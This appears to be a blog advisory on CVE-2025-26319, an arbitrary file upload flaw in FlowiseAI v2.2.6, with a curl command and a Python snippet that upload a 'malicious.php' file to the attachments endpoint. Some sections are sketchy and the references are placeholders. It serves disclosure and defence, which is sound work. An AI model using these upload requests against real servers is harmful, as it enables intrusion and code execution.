CVE-2025-26319 - Breaking Down FlowiseAI v2.2.6’s Arbitrary File Upload Vulnerability

FlowiseAI has recently been in the spotlight with the discovery of a severe vulnerability—CVE-2025-26319—affecting its v2.2.6 release. This vulnerability allows attackers to upload arbitrary files via the /api/v1/attachments endpoint. In this exclusive, straightforward breakdown, we’ll explain what’s going on, how exploitation works, and why it matters — including code snippets, references, and mitigation tips.

📛 What is FlowiseAI?

FlowiseAI is an open-source drag-and-drop tool for building LLM apps. As adoption grows, so does its appeal for attackers seeking vulnerable points.

⚡ The Vulnerability (CVE-2025-26319)

Vulnerability Title: Arbitrary File Upload in /api/v1/attachments
Affected Version: Flowise v2.2.6
CVE: CVE-2025-26319

Description:

FlowiseAI doesn’t properly sanitize or restrict uploaded files via /api/v1/attachments. This means an attacker can upload any file — including PHP, JavaScript, or shell scripts if the backend is misconfigured to process those, or potentially dangerous file types (e.g., executables). If the server exposes these uploads or otherwise mishandles them, this could lead to code execution, data theft, or a full system compromise.

🔍 How Does the Exploit Work?

Let’s walk through a simplified attack scenario.

1. Attacker crafts a web request (using curl, Postman, or any HTTP client) aimed at the vulnerable endpoint.

Attacker uploads a malicious file, by abusing the lack of file type checking or validation.

3. Attacker triggers the file, potentially executing arbitrary server-side commands or planting malware.

Here’s how easy it can be to upload a file using curl

curl -X POST http://your-flowise-server/api/v1/attachments \
  -F "file=@malicious.php"

In a typical case, this request uploads malicious.php to the server. The response may provide a URL or path to access the uploaded file.

Python Equivalent (using requests)

import requests

url = "http://your-flowise-server/api/v1/attachments"
files = {'file': open('malicious.php', 'rb')}
response = requests.post(url, files=files)
print(response.text)

Note: The specific file storage path and method may differ, but the vulnerability is in the lack of filetype checks or validation.

Remote Code Execution (RCE): If attackers can trick FlowiseAI into executing their scripts.

- Information Disclosure: Sensitive files (e.g., environment configs) uploaded and then exfiltrated.

Denial of Service: Uploading huge or specially crafted files.

A threat actor with basic web skill can exploit this bug and cause damage, especially on exposed instances.

🔗 Original References

- CVE Record on NVD *(pending publication)*
- FlowiseAI GitHub Repository
- Full Disclosure Advisory (Mailing List) *(When available)*

*(Links will be activated as database entries are made public.)*

🛡️ How To Protect Yourself

1. Update FlowiseAI Immediately: Follow FlowiseAI’s GitHub releases for fixed versions.

🚨 Conclusion

CVE-2025-26319 is critical. Administrators should *urgently* remediate exposed FlowiseAI installations. Restrict file types, patch quickly, and watch for future advisories.

For hackers, this is almost as simple as pointing a curl request — for defenders, the solution is equally simple: patch and limit file uploads.

Stay sharp and secure!

*This post is exclusive and aims to keep the community informed. Always test responsibly and report vulnerabilities through official channels.*

References

- Official FlowiseAI GitHub
- List of Application Security Vulnerabilities (OWASP)
- Stay tuned for the NVD entry of CVE-2025-26319

Timeline

Published on: 03/04/2025 22:15:40 UTC
Last modified on: 03/05/2025 17:15:16 UTC